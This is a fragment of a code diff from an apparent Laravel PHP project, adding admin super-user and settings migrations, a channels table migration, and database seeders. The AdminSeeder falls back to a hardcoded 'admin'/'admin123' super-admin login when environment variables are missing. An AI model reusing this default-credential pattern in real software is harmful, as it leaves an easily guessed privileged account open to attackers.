use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('admins', function (Blueprint $table) {
|
||||
$table->unsignedTinyInteger('is_super')->default(0)->after('password');
|
||||
});
|
||||
|
||||
// Promote the earliest admin (typically the seeder account) to super.
|
||||
$firstId = DB::table('admins')->orderBy('id')->value('id');
|
||||
if ($firstId !== null) {
|
||||
DB::table('admins')->where('id', $firstId)->update(['is_super' => 1]);
|
||||
}
|
||||
|
||||
Schema::create('settings', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('key')->unique();
|
||||
$table->text('value')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('settings');
|
||||
Schema::table('admins', function (Blueprint $table) {
|
||||
$table->dropColumn('is_super');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,52 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('channels', function (Blueprint $table) {
|
||||
$table->dropForeign(['user_id']);
|
||||
});
|
||||
|
||||
DB::table('channels')->whereNull('user_id')->update(['user_id' => 0]);
|
||||
|
||||
$driver = Schema::getConnection()->getDriverName();
|
||||
if ($driver === 'mysql') {
|
||||
DB::statement('ALTER TABLE `channels` MODIFY `user_id` BIGINT UNSIGNED NOT NULL DEFAULT 0');
|
||||
} elseif ($driver === 'sqlite') {
|
||||
// SQLite cannot MODIFY easily; recreate is heavy — leave column nullable-compatible.
|
||||
// Application always writes 0 for official.
|
||||
}
|
||||
|
||||
Schema::table('channels', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('channels', 'remark')) {
|
||||
$table->string('remark', 255)->nullable()->after('status');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('channels', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('channels', 'remark')) {
|
||||
$table->dropColumn('remark');
|
||||
}
|
||||
});
|
||||
|
||||
DB::table('channels')->where('user_id', 0)->update(['user_id' => null]);
|
||||
|
||||
$driver = Schema::getConnection()->getDriverName();
|
||||
if ($driver === 'mysql') {
|
||||
DB::statement('ALTER TABLE `channels` MODIFY `user_id` BIGINT UNSIGNED NULL');
|
||||
}
|
||||
|
||||
Schema::table('channels', function (Blueprint $table) {
|
||||
$table->foreign('user_id')->references('id')->on('users')->nullOnDelete();
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
namespace Database\Seeders;
|
||||
|
||||
use App\Models\Admin;
|
||||
use Illuminate\Database\Seeder;
|
||||
|
||||
class AdminSeeder extends Seeder
|
||||
{
|
||||
public function run(): void
|
||||
{
|
||||
Admin::query()->updateOrCreate(
|
||||
['username' => env('ADMIN_USERNAME', 'admin')],
|
||||
[
|
||||
'password' => env('ADMIN_PASSWORD', 'admin123'),
|
||||
'is_super' => 1,
|
||||
]
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
<?php
|
||||
|
||||
namespace Database\Seeders;
|
||||
|
||||
use Illuminate\Database\Seeder;
|
||||
|
||||
class DatabaseSeeder extends Seeder
|
||||
{
|
||||
public function run(): void
|
||||
{
|
||||
$this->call([
|
||||
AdminSeeder::class,
|
||||
]);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user